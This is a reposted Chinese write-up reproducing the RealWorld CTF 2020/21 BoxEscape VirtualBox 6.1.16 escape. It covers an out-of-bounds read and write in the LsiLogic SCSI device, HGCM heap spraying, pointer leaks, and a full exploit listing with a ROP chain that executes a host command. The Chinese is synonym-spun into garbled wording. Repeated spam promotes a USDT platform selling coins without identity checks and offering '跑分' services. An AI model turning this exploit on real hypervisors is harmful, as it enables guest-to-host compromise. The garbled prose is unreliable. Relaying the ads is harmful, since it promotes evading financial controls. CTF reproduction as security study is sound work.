USDT自动充值API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

RealWorld CTF 2020/21 BoxEscape破绽复现

前言

今年2月份RealWorld CTF出了两道虚拟机逃逸的问题,之前没有接触过VirtualBox以是那时并没有研究。由于原题涉及的主机和虚拟机都是windows平台,源码编译和驱动编写似乎对照穷苦,以是我决议在linux平台搭建对应的环境并复现了竞赛问题所涉及的逃逸破绽。后面有空的话自己再进一步实现windows平台下的移植,有兴趣的可以参考Sauercl0ud所给出的关于原题的writeup,见文末链接。

本文所使用的环境如下,主机:linuxmint-20.1-cinnamon-64bit.iso,虚拟机:linuxmint-20.1-cinnamon-64bit.iso或xubuntu-20.04.1-desktop-amd64.iso,VirtualBox源码:VirtualBox-6.1.16.tar.bz2。注:在linux平台下的破绽行使思绪与windows下类似,但在若何寻找结构体以及挟制EIP部门存在一些差异。

破绽剖析

1.接见处置函数

破绽涉及的虚拟装备为LsiLogicSCSI装备,在该装备的组织函数中,注册了端口LSILOGIC_BIOS_IO_PORT和LSILOGIC_SAS_BIOS_IO_PORT的接见处置函数(可直接在客户机中通过io函数接见)如下:

static DECLCALLBACK(int) lsilogicR3Construct(PPDMDEVINS pDevIns, int iInstance, PCFGMNODE pCfg)  
{  
    ...  
    /* 
     * Register I/O port space in ISA region for BIOS access 
     * if the controller is marked as bootable. 
     */  
    if (fBootable)  
    {  
        if (pThis->enmCtrlType == LSILOGICCTRLTYPE_SCSI_SPI)  
            rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, LSILOGIC_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,  
                                               lsilogicR3IsaIOPortWrite, lsilogicR3IsaIOPortRead,  
                                               lsilogicR3IsaIOPortWriteStr, lsilogicR3IsaIOPortReadStr, NULL /*pvUser*/,  
                                               "LsiLogic BIOS", NULL /*paExtDesc*/, &pThis->hIoPortsBios);  
        else if (pThis->enmCtrlType == LSILOGICCTRLTYPE_SCSI_SAS)  
            rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, LSILOGIC_SAS_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,  
                                               lsilogicR3IsaIOPortWrite, lsilogicR3IsaIOPortRead,  
                                               lsilogicR3IsaIOPortWriteStr, lsilogicR3IsaIOPortReadStr, NULL /*pvUser*/,  
                                               "LsiLogic SAS BIOS", NULL /*paExtDesc*/, &pThis->hIoPortsBios);  
        else  
            AssertMsgFailedReturn(("Invalid controller type %d\n", pThis->enmCtrlType), VERR_INTERNAL_ERROR_3);  
        AssertRCReturn(rc, PDMDEV_SET_ERROR(pDevIns, rc, N_("LsiLogic cannot register legacy I/O handlers")));  
    }  
    ...  
}

2.lsilogicR3IsaIOPortWrite函数

该函数的主要实现为vboxscsiWriteRegister函数,在此函数内通过pVBoxSCSI->enmState字段维护了一个状态机,初始状态为VBOXSCSISTATE_NO_COMMAND。客户机向端口偏移为0的位置写入SCSI下令,主机从该端口中依次获取下令传输偏向TXDIR、下令形貌符块CDB的巨细pVBoxSCSI->cbCDB、下令参数所需缓冲区巨细的崎岖中位SIZE_BUFHI/LSB/MID,逐字节获取下令形貌符并保留在pVBoxSCSI->abCDB中,并分配参数所需的缓冲区pVBoxSCSI->pbBuf。

准备停当后,客户机通过端口偏移为1的位置逐字节写入下令参数,主机获取并保留在pVBoxSCSI->pbBuf中。其中pVBoxSCSI->iBuf字段纪录了当前缓冲区接见的位置,pVBoxSCSI->cbBufLeft字段纪录了剩余的待接见缓冲区巨细。由于该部门代码较长,不在这里贴出。

3.lsilogicR3IsaIOPortReadStr函数

该函数的主要实现为vboxscsiReadString函数,处置客户机对上述两个端口的in *** /w/l接见。当待接见缓冲区大于0时,从当前位置读取指定的字节数cbTransfer并更新pVBoxSCSI->iBuf和pVBoxSCSI->cbBufLeft字段。其中pcTransfers为字符串读操作的巨细(参数),cb为字符串读操作的宽度,即b/w/l。

int vboxscsiReadString(PPDMDEVINS pDevIns, PVBOXSCSI pVBoxSCSI, uint8_t iRegister,  
                       uint8_t *pbDst, uint32_t *pcTransfers, unsigned cb)  
{  
    ...  
    uint32_t cbTransfer = *pcTransfers * cb;  
    if (pVBoxSCSI->cbBufLeft > 0)  
    {  
        Assert(cbTransfer <= pVBoxSCSI->cbBuf);  
        if (cbTransfer > pVBoxSCSI->cbBuf)  
        {  
            memset(pbDst + pVBoxSCSI->cbBuf, 0xff, cbTransfer - pVBoxSCSI->cbBuf);  
            cbTransfer = pVBoxSCSI->cbBuf;  /* Ignore excess data (not supposed to happen). */  
        }  

        /* Copy the data and adance the buffer position. */  
        memcpy(pbDst, pVBoxSCSI->pbBuf + pVBoxSCSI->iBuf, cbTransfer);  

        /* Advance current buffer position. */  
        pVBoxSCSI->iBuf      += cbTransfer;  
        pVBoxSCSI->cbBufLeft -= cbTransfer;  

        /* When the guest reads the last byte from the data in buffer, clear 
           everything and reset command buffer. */  
        if (pVBoxSCSI->cbBufLeft == 0)  
            vboxscsiReset(pVBoxSCSI, false /*fEverything*/);  
    }  
    ...  
}

在这里将接见字节数cbTransfer与下令参数缓冲区的巨细pVBoxSCSI->cbBuf举行了对照检查,但未检查cbTransfer是否超出了剩余待接见巨细pVBoxSCSI->cbBufLeft。而且将cbTransfer设置为越界值时, pVBoxSCSI->cbBufLeft字段将被更新为负数(unsigned int),可以实现进一步的越界读写。

破绽行使

1.Heap spray

通过发送功效为GUEST_PROP_FN_GET_NOTIFICATION的GuestProperties HGCM服务挪用举行Heap spray,使后续申请的堆空间延续,以便对破绽所涉及的pVBoxSCSI->pbBuf和破绽行使结构体举行排布。对于每个HGCM Client最大可确立的挪用新闻个数为GUEST_PROP_MAX_GUEST_CONCURRENT_WAITS(0x10个),Client个数为0x64个。在这一步我确立了0x50个Client,并为每个CLien发送0x10个新闻实现Heap Spray,后续分配的堆空间将在top chunk中分配。对应主机处置流程如下:

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
,0  guestProp::Service::getNotification (this=0x7f28b8001600, u32ClientId=2, callHandle=0x7f28cc544500, cParms=4, paParms=0x7f287b84ef60) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:1216  
,1  0x00007f28d4b64a59 in guestProp::Service::call (this=0x7f28b8001600, callHandle=0x7f28cc544500, u32ClientID=2, eFunction=6, cParms=4, paParms=0x7f287b84ef60) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:1471  
,2  0x00007f28d4b6758c in guestProp::Service::svcCall (pvService=0x7f28b8001600, callHandle=0x7f28cc544500, u32ClientID=2, pvClient=0x0, u32Function=6, cParms=4, paParms=0x7f287b84ef60, tsArrival=4461623782606) at /home/john/Application/VirtualBox-6.1.16/src/VBox/HostServices/GuestProperties/VBoxGuestPropSvc.cpp:372

Heap spray所使用的结构为HGCMMsgCall结构体以及GetNotification挪用转达的pszPatterns字符串,其中HGCMMsgCall结构体在HGCMService::GuestCall函数中确立:

int HGCMService::GuestCall(PPDMIHGCMPORT pHGCMPort, PVBOXHGCMCMD pCmd, uint32_t u32ClientId, uint32_t u32Function,  
                           uint32_t cParms, VBOXHGCMSVCPARM paParms[], uint64_t tsArrival)  
{  
    HGCMMsgCall *pMsg = new (std::nothrow) HGCMMsgCall(m_pThread);  
    ...  
    return rc;  
}

2.地址泄露

地址泄露所使用的结构体同样为HGCMMsgCall结构体,其中vtable字段和m_pfnCallback字段包罗了VBoxC.so库中函数指针,m_pNext和m_pPrev字段用于链接其他HGCMMsgCall结构体并形成双链表,指向了却构体的堆地址,pHGCMPort指向了该类型HGCM挪用的一些接口函数。在越界读破绽的pbBuf后确立一些HGCMMsgCall结构体以实现地址泄露。

pwndbg> p *(struct HGCMMsgCall *)0x7f014c5e4660  
$2 = {  
  <HGCMMsgHeader> = {  
    <HGCMMsgCore> = {  
      <HGCMReferencedObject> = {  
        _vptr.HGCMReferencedObject = 0x7f018cb1fb28 <vtable for HGCMMsgCall+16>,  
        ...  
      },   
      members of HGCMMsgCore:  
      ...  
      m_pfnCallback = 0x7f018c888c0e <hgcmMsgCompletionCallback(int32_t, HGCMMsgCore*)>,  
      m_pNext = 0x7f014c5e4b20,  
      m_pPrev = 0x7f014c5e4400,  
      ...  
    },   
    members of HGCMMsgHeader:  
    pCmd = 0x7f01804a9e00,  
    pHGCMPort = 0x7f01800141b0  
  },   
  members of HGCMMsgCall:  
  u32ClientId = 58,  
  u32Function = 6,  
  ...  
}

通过HGCMMsgCall结构体首字段vtable指针可以泄露VBoxC.so库的基地址,通过m_pNext和m_pPrev指针泄露堆地址,详细方式如下:越界读获取一个HGCMMsgCall结构体curObj,纪录越界读的偏移curPos,并获取该结构体中的m_pNext和m_pPrev指针;继续越界读获取下一HGCMMsgCall结构体nextObj,类似地获取其越界读偏移以及链表指针,当curObj->pPrev - nextObj->pNext或curObj->pNext - nextObj->pPrev的值与nextObj->curPos - curObj->curPos的值相同时,示意两个结构体在链表中相邻,此时curObj的堆地址即为nextObj->pPrev/pNext。

3.下令执行

通过越界读在curObj结构体后获取一个保留pszPatterns字符串的chunk,笼罩该chunk并在其中设置ROP gadgets。之后继续越界读获取nextObj,通过curObj地址盘算pszPatterns字符串chunk的堆地址,越界写笼罩nextObj中的pHGCMPort指针,使其指向pszPatterns字符串chunk地址。当主机历程对nextObj结构体举行异步处置时挪用其中的接口函数触发ROP实现下令执行。以上流程的主要行使代码如下,这里给出的ROP为源码编译成Debug版本发生的ROP:

/* Create oob pVBoxSCSI->pbBuf */  
oobInit(0x70, 0x8);  
/* Spray some HGCMMsgCall with specific pattern behind the pbBuf */  
patternSize = 0x120;  
pattern = calloc(1, patternSize);  
for(i = 56; i < 60; i++){  
    sprayClient = VGDrv_HGCMConnect(vbguest, "VBoxGuestPropSvc");  
    for(j = 0; j < GUEST_PROP_MAX_GUEST_CONCURRENT_WAITS; j++){  
        sprintf(pattern, "dataprop%02d=%02d", sprayClient, j);  
        perfixLen = strlen(pattern);  
        memset(pattern + perfixLen, 0x41, patternSize - perfixLen - 1);  
        GPVMMDev_GetNotification(vegst, sprayClient, pattern, patternSize, timestamp, retbuf, retbufSize);  
        printf("[+]Heap spray, current clientID = 0x%x, current call = 0x%x\n", sprayClient, j);  
    }  
}  
/* Looking for a HGCMMsgCall obj chunk which size = 0x85 */  
struct HGCMMsgCallInfo *curObj = calloc(1, sizeof(HGCMMsgCallInfo));  
seekObj(curObj);  
uint64_t curAddr = 0;     //current object heap addr, get it later  
uint64_t vboxcAddr = 0;   //caculate it later for different vbox version  
/* Looking for a pattern chunk to place our data */  
uint8_t *cmdStr = "/usr/bin/gnome-calculator\n";  
uint64_t *vulnPattern = calloc(1, patternSize);  
vboxcAddr = curObj->vtableAddr - 0x61FB28;  //caculate base addr of VBoxC.so in debug version  
vulnPattern[0] = 0x0;                       //rbp for leave in gadget1  
vulnPattern[1] = vboxcAddr + 0x11A1EB;      //pop r12; pop rbp; ret; gadget2  
vulnPattern[2] = vboxcAddr + 0x33d1AE;      //xchg rax, rbp; fcos; leave; ret; rax = pattern chunk heap addr, gadget1 for stack pivot  
vulnPattern[3] = vboxcAddr + 0x647078 + 0x8;//strcmp .got.plt + 0x8  
vulnPattern[4] = vboxcAddr + 0x114385;      //mov rax, qword ptr [rbp - 8]; pop rbp; ret; gadget3  
vulnPattern[5] = 0x0;                       //rbp  
vulnPattern[6] = vboxcAddr + 0x27f773;      //pop rcx; ret; gadget4  
vulnPattern[7] = 0xFFFFFFFFFFECE8B0;        //rcx  
vulnPattern[8] = vboxcAddr + 0x19D50E;      //add rax, rcx; pop rbp; ret; gadget5  
vulnPattern[9] = 0x0;                       //rbp  
vulnPattern[10] = vboxcAddr + 0x38695C;     //add rdx, 0x98; mov rdi, rdx; call rax; gadget6  
memcpy(vulnPattern + 19, cmdStr, strlen(cmdStr));   //cmd string at rdx + 0x98  
if(strlen(cmdStr) + 0x98 > patternSize){  
    printf("[+]Error: rop gadgets length is larger than pattern chunk size\n");  
    exit(-1);  
}  
uint64_t patternPos = seekPattern("dataprop", patternSize); //mark curent chunk data offset, in order to caculate heap addr larter  
oobWriteAdd(vulnPattern, patternSize);  
uint64_t patternAddr = 0;               //pattern chunk heap addr  
/* Looking for cur->pPrev or cur->pNext object in the double link */  
sleep(3);  
uint32_t tryTime = 0;  
uint32_t objOffset = 0;  
uint32_t fdOffset = 0;  
uint32_t bkOffset = 0;  
struct HGCMMsgCallInfo *nextObj = calloc(1, sizeof(HGCMMsgCallInfo));  
for(tryTime = 0; tryTime < 0x10; tryTime++){  
    seekObj(nextObj);  
    objOffset = nextObj->curPos - curObj->curPos;  
    fdOffset = curObj->pPrev - nextObj->pNext;  
    bkOffset = curObj->pNext - nextObj->pPrev;  
    printf("[+]Checking object offset = 0x%llx, forward link offset = 0x%llx, backward link offset = 0x%llx\n", objOffset, fdOffset, bkOffset);  
    if(objOffset == fdOffset){  
        printf("[+]Get pPrev of current object, curObj addr = 0x%llx\n", nextObj->pNext);  
        curAddr = nextObj->pNext;  
        break;  
    } else if(objOffset == bkOffset){  
        printf("[+]Get pNext of current object, curObj addr = 0x%llx\n", nextObj->pPrev);  
        curAddr = nextObj->pPrev;  
        break;  
    }  
    /* If we cannot find adjacent object with limited attempt, update current object and pattern chunk, goto next trail loop */  
    if((tryTime != 0) && (tryTime%3 == 0)){  
        memcpy(curObj, nextObj, sizeof(HGCMMsgCallInfo));  
        printf("[+]Update current object and pattern chunk for a new trail, curPos = 0x%llx\n", curObj->curPos);  
        patternPos = seekPattern("dataprop", patternSize);  
        oobWriteAdd(vulnPattern, patternSize);  
    }  
}

以下是HGCMMsgCall->pHGCMPort字段所包罗的接口函数,若客户机用户程序不发送任何后续新闻,主机历程将挪用pfnCompleted接口函数完成当前HGCMMsgCall结构体的处置;若客户机再次使用对应的ClientID发送GetNotification挪用新闻,主机历程将挪用pfnIsCmdCancelled接口函数作废原HGCMMsgCall结构体示意的新闻。

typedef struct PDMIHGCMPORT {  
    DECLR3CALLBACKMEMBER(int, pfnCompleted,(PPDMIHGCMPORT pInterface, int32_t rc, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(bool, pfnIsCmdRestored,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(bool, pfnIsCmdCancelled,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(uint32_t, pfnGetRequestor,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));  
    DECLR3CALLBACKMEMBER(uint64_t, pfnGetVMMDevSessionId,(PPDMIHGCMPORT pInterface));  
} PDMIHGCMPORT;

挟制pfnCompleted接口函数的情形如下,函数参数为pMsgHdr->pHGCMPort、result和pMsgHdr->pCmd。

RAX  0xffffffd9  
 RBX  0x7f3cb8001638 —▸ 0x7f3cb8012290 —▸ 0x7f3cb80122d0 —▸ 0x7f3cb8012310 —▸ 0x7f3cb8012350 ◂— ...  
 RCX  0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')  
 RDX  0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')  
 RDI  0x7f3cd45e3398 ◂— 0x4242424242424242 ('BBBBBBBB')  
 RSI  0xffffffd9  
 R8   0x4242424242424242 ('BBBBBBBB')  
 R9   0x7f3cfcb460e8 ◂— 'void PGMPhysReleasePageMappingLock(PVMCC, PPGMPAGEMAPLOCK)'  
 ...  
─────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────  
 ► 0x7f3cffcf4cc0    call   r8 <0x4242424242424242>  
   0x7f3cffcf4cc3    jmp    0x7f3cffcf4cd1 <0x7f3cffcf4cd1>  
   0x7f3cffcf4cc5    mov    eax, 0xfffffe99  
   0x7f3cffcf4cca    jmp    0x7f3cffcf4cd1 <0x7f3cffcf4cd1>  
   0x7f3cffcf4ccc    mov    eax, 0xffffa87d  
   0x7f3cffcf4cd1    leave    
   0x7f3cffcf4cd2    ret      
   ...  
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────  
In file: /home/john/Application/VirtualBox-6.1.16/src/VBox/Main/src-client/HGCM.cpp  
    997     LogFlow(("MAIN::hgcmMsgCompletionCallback: message %p\n", pMsgCore));  
    998   
    999     if (pMsgHdr->pHGCMPort)  
   1000     {  
   1001         if (!g_fResetting)  
 ► 1002             return pMsgHdr->pHGCMPort->pfnCompleted(pMsgHdr->pHGCMPort,  
   1003                                                     g_fSaveState ? VINF_HGCM_SAVE_STATE : result, pMsgHdr->pCmd);  
   1004         return VERR_ALREADY_RESET; /* best I could find. */  
   1005     }  
   1006     return VERR_NOT_AVAILABLE;  
   1007 }

挟制pfnIsCmdCancelled接口函数的情形如下,函数参数为pMsgHdr->pHGCMPort和pMsgHdr->pCmd。本文通过这里的rax寄存器和"xchg rax, rbp"gadget实现stackpivot,并进一步组织ROP到达下令执行。

*RAX  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pHGCMPort  
 RBX  0x7f865d5f42be (HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)) ◂— endbr64   
*RCX  0x4242424242424242 ('BBBBBBBB')  
*RDX  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pCmd  
*RDI  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pHGCMPort  
*RSI  0x7f86305e4b58 ◂— 0x4242424242424242 ('BBBBBBBB') pCmd  
*R8   0x7f85bdb05d60 ◂— 0x3  
 R9   0x4  
 ...  
─────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────  
 ► 0x7f865d5f44cf <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+529>    call   rcx <0x4242424242424242>  
   0x7f865d5f44d1 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+531>    nop      
   0x7f865d5f44d2 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+532>    leave    
   0x7f865d5f44d3 <HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE_TYPEDEF*)+533>    ret      
   ...  
─────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────  
In file: /home/john/Application/VirtualBox-6.1.16/src/VBox/Main/src-client/HGCM.cpp  
   902     AssertPtrReturn(pCmd, false);  
   903   
   904     PPDMIHGCMPORT pHgcmPort = pMsgHdr->pHGCMPort;  
   905     AssertPtrReturn(pHgcmPort, false);  
   906   
 ► 907     return pHgcmPort->pfnIsCmdCancelled(pHgcmPort, pCmd);  
   908 }  
   909

4.Demo


参考链接:
https://www.virtualbox.org/wiki/Linux%20build%20instructions
https://www.giantbranch.cn/2019/08/07/%E5%9C%A8ubuntu%2018.04%E4%B8%8A%E7%BC%96%E8%AF%91VirtualBox/
https://secret.club/2021/01/14/vbox-escape.html

环球UG声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt支付接口(www.caibao.it):RealWorld CTF 2020/21 BoxEscape破绽复现
发布评论

分享到:

usdt无需实名(caibao.it):女儿姓“房”,名字充满诗情画意,先生却无奈:上课从不敢点她名
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。